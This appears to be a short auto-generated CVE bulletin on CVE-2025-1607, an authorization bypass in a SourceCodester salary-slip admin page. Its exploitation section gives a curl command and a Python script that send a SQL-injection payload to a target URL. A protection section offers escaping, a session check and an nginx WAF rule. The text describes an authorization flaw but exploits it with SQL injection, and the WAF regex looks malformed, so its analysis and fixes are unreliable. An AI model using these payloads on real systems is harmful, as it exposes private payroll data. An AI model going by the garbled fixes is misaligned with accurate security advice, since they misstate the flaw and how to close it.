How CVE-2025-1607 Works
The vulnerability exists in `/admin/salary_slip.php` where improper authorization checks allow attackers to bypass authentication by manipulating the `id` parameter. Remote attackers craft malicious requests to access restricted salary slip data without valid credentials. The system fails to validate user permissions, enabling unauthorized data exposure.
DailyCVE Form:
Platform: SourceCodester
Version: 1.0
Vulnerability: Authorization Bypass
Severity: Medium
Date: 05/14/2025
What Undercode Say:
Exploitation:
1. Craft Malicious Request:
curl -X GET "http://target.com/admin/salary_slip.php?id=1' OR '1'='1"
2. Automated Exploit:
import requests
url = "http://target.com/admin/salary_slip.php"
params = {"id": "1' OR '1'='1"}
response = requests.get(url, params=params)
print(response.text)
Protection:
1. Input Validation:
$id = mysqli_real_escape_string($conn, $_GET['id']);
2. Authorization Check:
if (!isset($_SESSION['admin'])) {
header("Location: /login.php");
exit();
}
3. WAF Rule:
location /admin/ {
if ($args ~ "id=.[';]") {
return 403;
}
}
